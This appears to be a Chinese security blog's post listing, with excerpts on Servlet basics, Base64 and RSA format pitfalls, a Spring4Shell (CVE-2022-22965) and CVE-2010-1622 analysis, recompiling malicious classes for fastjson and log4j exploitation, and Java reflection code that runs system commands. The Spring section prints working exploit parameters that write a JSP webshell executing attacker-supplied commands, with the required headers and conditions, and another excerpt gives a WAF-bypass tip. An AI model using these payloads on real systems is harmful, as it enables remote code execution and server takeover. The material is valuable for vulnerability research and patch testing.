Servlet

当处理请求的时候:请求 → Listener → Filter → Servlet
Listener
Listener也称之为监听器,可以监听Application、Session和Request对象的创建、销毁事件,以及监听对其中添加、修改、删除属性事件,并自动执行自定义的功能。
Filter
Filter也称之为过滤器,可以动态地修改HttpServletRequest,HttpServletResponse中的头和数据。
Servlet
Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。
Tomcat是http服务器+servlet容器,当Tomcat作为Servlet容器的时候,讲http请求文本解析之后封装成HttpServletRequest
类型的request对象,传递给Servlet,同时讲相应的信息封装为HttpServletResponse
类型的response对象,将response对象交给tomcat,tomcat格式化之后返回给浏览器
Read More
0x1. Base64的坑
在JDK8版本里面,Java自带的java.util.Base64
是根据RFC4648和RFC2045实现的,但是JDK7里面的sun.misc.BASE64Encoder
,是RFC1521实现的。
这会导致java.util.Base64
解码JDK7版本的Base64发生错误:Illegal base64 character
。
可以使用shiro的Base64解决,增加maven依赖:
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.6.0</version>
</dependency>
PS: chybeta师傅在漏洞百出里面提出过,Shiro在Base64解码的时候会丢弃非Base64字符串,所以可以利用这一点绕过WAF防火墙,比如填充垃圾字符串。
0x2. RSA公私钥
Python加解密的时候,使用的是PKCS#1格式的公私钥:
# 公钥
-----BEGIN RSA PUBLIC KEY-----
-----END RSA PUBLIC KEY-----
# 私钥
-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----
但是在Java里面需要使用PKCS#8格式:
# 公钥
-----BEGIN PUBLIC KEY-----
-----END PUBLIC KEY-----
# 私钥
-----BEGIN PRIVATE KEY-----
-----END PRIVATE KEY-----
Read More
漏洞时间线
CVE-2010-1622 Spring第一次爆发漏洞,同时也影响了Struts(S2-020/S2-021/S2-022)
2017年9月10日 Oracle官方发文解释Java 9的module新特性
2022年3月29日 蚂蚁集团报告漏洞(CVE-2022-22965)
POC
CVE-2010-1622/Struts(S2-020/S2-021/S2-022)
class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
class.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
CVE-2022-22965在Java9新增了module之后:
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
然后访问webshell的时候,除了提供cmd的参数之外,还需要设置header头:
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
利用条件
- Java版本>=JDK9
- Spirng运行在Tomcat环境下,以War包部署(Jar包的时候不存在)
- 方法入参是非基础类,不能是String,int等
- 接口使用了POJO参数绑定
注意事项
- 如果要多次写文件,需要修改fileDateFormat属性,最终会拼接到文件后缀里面
- 利用日志写入shell的时候,生成的文件会不断写入,可以关闭日志记录:
class.module.classLoader.resources.context.parent.pipeline.first.enabled=false
漏洞分析
当Content-Type是application/x-www-form-urlencoded
的时候,会使用ServletModelAttributeMethodProcessor
解析请求,然后进入参数绑定:org.springframework.web.bind.ServletRequestDataBinder#bind(ServletRequest request)
:

此时的mpv保存了请求里面的key-value参数,接着进入org.springframework.validation.DataBinder#doBind(MutablePropertyValues mpvs)
对获取到的mpvs
进行初步校验:

Read More
0x1. 背景介绍
比如fastjson
、log4j
中需要远程加载恶意class文件的时候,如果恶意Class文件的版本高于目标版本,比如托管在服务器的Class是1.8编译的,但是目标版本是1.7,会导致利用失败。出现类似这样的错误:java.lang.UnsupportedClassVersionError: Unsupported major.minor version
0x2. 解决方法
用低版本的Java,比如1.6去编译Class文件,就可以全版本通用。
还有另外一种方法,手动修改Class文件。当Java版本不同的时候,编译出来的Class文件也会不一样,其中Class文件里面会带上编译的Java版本号:

- 45 = Java 1.1
- 46 = Java 1.2
- 47 = Java 1.3
- 48 = Java 1.4
- 49 = Java 5
- 50 = Java 6
- 51 = Java 7
- 52 = Java 8
- 53 = Java 9
- 54 = Java 10
- 55 = Java 11
- 56 = Java 12
- 57 = Java 13
- 58 = Java 14
- 59 = Java 15
所以,尝试手动修改一下这个版本号试试?
- 切换到
java
的15版本,编译运行正常
- 使用
vim -b Calc.class
,然后:%!xxd
修改版本号为32
(50的16进制,也就是Java6),然后保存::%!xxd -r
- 切换java版本到1.7,运行Class正常


Read More
Runtime
Runtime中可以获取到Runtime
实例有三种方法:
private static Runtime currentRuntime = new Runtime();
public static Runtime getRuntime()
private Runtime() {}

package relfectDemo;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class ReflectRuntime {
public String[] cmd = new String[]{"sh", "-c", "open /System/Applications/Calculator.app"};
public void Runtime0() throws Exception{
Class clazz = Class.forName("java.lang.Runtime");
Field field = clazz.getDeclaredField("currentRuntime");
field.setAccessible(true);
Runtime runtime = (Runtime) field.get("Runtime");
Method method = clazz.getDeclaredMethod("exec", String[].class);
method.invoke(runtime, new Object[]{this.cmd});
}
public void Runtime1() throws Exception{
Class clazz = Class.forName("java.lang.Runtime");
Method method = clazz.getDeclaredMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(null);
Method method1 = clazz.getDeclaredMethod("exec", String[].class);
method1.invoke(runtime, new Object[]{this.cmd});
}
public void Runtime2() throws Exception{
Class clazz = Class.forName("java.lang.Runtime");
Constructor constructor = clazz.getDeclaredConstructor(null);
constructor.setAccessible(true);
Runtime runtime = (Runtime) constructor.newInstance(null);
Method method = clazz.getDeclaredMethod("exec", String[].class);
method.invoke(runtime, new Object[]{this.cmd});
}
ProcessBuilder
使用constructor
初始化对象的时候,接收的参数是一个Object数组,所以需要new Object[]
强制转换:
package relfectDemo;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.List;
public class ReflectProcessBuilder {
public String[] cmd = new String[]{"sh", "-c", "open /System/Applications/Calculator.app"};
public void ReflectPB0() throws Exception{
Class clazz = Class.forName("java.lang.ProcessBuilder");
Constructor constructor = clazz.getConstructor(String[].class);
ProcessBuilder pb = (ProcessBuilder) constructor.newInstance(new Object[]{this.cmd});
Method method1 = clazz.getDeclaredMethod("start", null);
method1.invoke(pb, null);
}
public void ReflectPB1() throws Exception{
Class clazz = Class.forName("java.lang.ProcessBuilder");
Constructor constructor = clazz.getConstructor(List.class);
ProcessBuilder pb = (ProcessBuilder) constructor.newInstance(new Object[]{Arrays.asList(this.cmd)});
Method method1 = clazz.getDeclaredMethod("start", null);
method1.invoke(pb, null);
}
public static void main(String[] args) throws Exception {
ReflectProcessBuilder reflectProcessBuilder = new ReflectProcessBuilder();
reflectProcessBuilder.ReflectPB1();
}
}
ProcessImpl
package relfectDemo;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class ReflectProcessImpl {
public String[] cmd = new String[]{"sh", "-c", "open /System/Applications/Calculator.app"};
public void ReflectPI0() throws Exception{
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
Map<String, String> map = null;
ProcessBuilder.Redirect[] redirect = null;
String dir = ".";
method.invoke(null, this.cmd, map, dir, redirect, true);
}
public static void main(String[] args) throws Exception{
ReflectProcessImpl reflectProcess = new ReflectProcessImpl();
reflectProcess.ReflectPI0();
}
}
Read More